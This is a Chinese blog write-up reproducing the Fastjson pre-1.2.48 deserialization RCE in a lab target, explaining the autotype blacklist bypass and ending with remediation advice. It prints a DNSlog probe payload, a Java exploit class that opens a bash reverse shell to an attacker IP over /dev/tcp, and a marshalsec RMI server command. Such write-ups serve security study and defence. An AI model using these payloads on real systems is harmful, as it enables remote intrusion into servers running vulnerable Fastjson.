Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)

漏洞成因

fastjson在对 JSON 字符串进行反序列化的时候,会读取 @type 的内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的set方法, 利用这个特性,构造一个 JSON 字符串,并且使 用 @type 反序列化一个自己想要使用的攻击类。
com.sun.rowset.JdbcRowSetImpl就是一个支持调用rmi功能的类。因此可以使用com.sun.rowset.JdbcRowSetImpl类进行远程调用exp。

fastjson默认关闭了反序列化任意类的操作,增加了checkautotype,也就是指定要用来反序列化的类不能够在一些黑名单中,从而做了一定的限制。
此次漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。

漏洞复现过程

启动vulfcous靶机(fastjson版本应该是1.2.48左右的,vaulfocus靶场应该是弄错了。)
在这里插入图片描述
发送请求包,使用bp拦截。
在这里插入图片描述
首先使用java.net.Inet4Address类进行测试下。(首先修改请求方式,其此修改content-type类型为application/json)

在这里插入图片描述

{"x":{"@type":"java.net.Inet4Address","val":"glcbz6.dnslog.cn"}}

在这里插入图片描述
在dnslog平台上,成功看到dns请求记录。

在这里插入图片描述
exp:

import java.io.IOException;
public class exp_jndi {
    static{
        try {
            java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.5.129/4444 0>&1"}); 
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
    }
}

开启python的http服务。
在这里插入图片描述
开启rmi服务。
在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.129/#exp_jndi" 1099

payload如下:
在这里插入图片描述
成功反弹shell。
在这里插入图片描述

修复建议

1、升级JDK
JDK6u211 / 7u201 / 8u191 /11.0.1版本,默认禁用了自动加载远程类文件以及LDAP和RMI协议的使用。
2、升级Fastjson到最新版
做好备份后,进行升级。
3、使用安全产品过滤非法内容
添加waf,过滤@type以及对应的各种编码后的字符。
4、更换其它序列化工具
Jackson/Gson

参考链接

Fastjson反序列化漏洞(1.2.24 RCE):https://blog.csdn.net/m0_61506558/article/details/126818902
Fastjson漏洞+复现 :https://www.cnblogs.com/AffectedFish/p/16947318.html

推荐大家看下这篇文章,FastJson1.2.24漏洞复现:https://www.cnblogs.com/xiaozhi789/articles/15918262.html讲解的很不错,调用链简单明了,漏洞原理很清晰。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值